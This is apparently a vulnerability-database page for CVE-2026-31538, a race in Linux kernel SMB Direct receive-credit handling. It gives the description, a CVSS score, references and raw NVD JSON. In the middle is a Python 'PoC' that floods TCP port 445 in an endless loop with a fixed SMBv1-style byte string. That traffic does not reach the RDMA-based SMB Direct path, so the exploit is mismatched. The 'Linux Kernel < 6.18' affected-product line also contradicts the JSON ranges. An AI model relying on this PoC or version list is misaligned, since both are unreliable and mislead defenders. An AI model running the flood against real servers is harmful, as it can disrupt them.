CVE-2026-31538

Description

In the Linux kernel, the following vulnerability has been resolved: smb: server: make use of smbdirect_socket.recv_io.credits.available The logic off managing recv credits by counting posted recv_io and granted credits is racy. That's because the peer might already consumed a credit, but between receiving the incoming recv at the hardware and processing the completion in the 'recv_done' functions we likely have a window where we grant credits, which don't really exist. So we better have a decicated counter for the available credits, which will be incremented when we posted new recv buffers and drained when we grant the credits to the peer. This fixes regression Namjae reported with the 6.18 release.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel 6.18

Linux Kernel < 6.18

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import time

# This is a theoretical PoC to trigger the race condition in SMB Direct credit management.
# It attempts to flood the server with requests to exploit the window between hardware recv and processing.

target_ip = "TARGET_IP"
target_port = 445  # SMB Port

def send_smb_traffic():
    try:
        # Establish a connection
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        s.connect((target_ip, target_port))
        
        # Send malformed or rapid SMB negotiation requests to stress credit handling
        # Note: Actual packet structure depends on specific SMB dialect negotiation
        payload = b"\x00\x00\x00\x72\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8"
        
        while True:
            s.sendall(payload)
            # Introduce slight delay to potentially hit the race window
            time.sleep(0.001) 
    except Exception as e:
        print(f"Exception: {e}")
    finally:
        s.close()

if __name__ == "__main__":
    print(f"Attempting to trigger race condition on {target_ip}...")
    send_smb_traffic()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31538
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31538
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31538/
[4] VulDB https://vuldb.com/cve/CVE-2026-31538
[5] https://git.kernel.org/stable/c/26ad87a2cfb8c1384620d1693a166ed87303046e
[6] https://git.kernel.org/stable/c/66c082e3d4651e8629a393a9e182b01eb50fb0a3
[7] https://git.kernel.org/stable/c/809cbd31aa4f87a1b889532244c9cf30eb022385

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31538", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:27.740", "lastModified": "2026-04-28T18:59:51.320", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: server: make use of smbdirect_socket.recv_io.credits.available\n\nThe logic off managing recv credits by counting posted recv_io and\ngranted credits is racy.\n\nThat's because the peer might already consumed a credit,\nbut between receiving the incoming recv at the hardware\nand processing the completion in the 'recv_done' functions\nwe likely have a window where we grant credits, which\ndon't really exist.\n\nSo we better have a decicated counter for the\navailable credits, which will be incremented\nwhen we posted new recv buffers and drained when\nwe grant the credits to the peer.\n\nThis fixes regression Namjae reported with\nthe 6.18 release."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18", "versionEndExcluding": "6.18.11", "matchCriteriaId": "1D06FE45-F85F-4F59-A12C-C72C3C580DA4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.1", "matchCriteriaId": "EE543C0D-A06B-414F-A403-CB1E088F261E"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/26ad87a2cfb8c1384620d1693a166ed87303046e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/66c082e3d4651e8629a393a9e182b01eb50fb0a3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/809cbd31aa4f87a1b889532244c9cf30eb022385", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}